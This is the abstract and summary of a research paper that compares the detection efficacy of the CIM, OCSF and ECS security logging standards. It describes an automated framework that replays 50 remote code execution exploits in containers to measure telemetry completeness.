Beyond Collection: Measuring the Detection Efficacy of Modern Security Logging Standards
For security practitioners, this work provides the first empirical comparison of logging standards' detection efficacy, enabling informed adoption decisions.
This paper presents the first systematic evaluation of modern security logging standards (CIM, OCSF, ECS) using a novel automated framework (SETC) across 50 remote code execution vulnerabilities, revealing significant differences in telemetry completeness and exploit detectability that provide evidence-based guidance for practitioners.
Effective security logging is crucial for the timely and accurate detection of cyber threats; however, the relative effectiveness of various industry-standard logging frameworks remains understudied. This paper addresses this critical gap by presenting the first systematic evaluation of modern security logging standards utilizing a novel methodology built upon the automated Security Exploit Telemetry Collection (SETC) framework. SETC systematically generates reproducible exploit scenarios in containerized environments, collecting rich telemetry across multiple logging standards, including CIM (Common Information Model), OCSF (Open Cybersecurity Schema Framework), and ECS (Elastic Common Schema). The detection efficacy of each logging standard is quantified by measuring telemetry completeness and exploit detectability across standardized logs through detailed experiments involving 50 diverse remote code execution vulnerabilities. The resulting findings identify critical gaps and reveal significant differences in logging standards' abilities to capture key attack indicators. Our contributions include a novel evaluation methodology that enables scalable and reproducible analysis of exploit telemetry, as well as new findings that provide clear, evidence-based guidance for security practitioners to make informed decisions about adopting logging standards.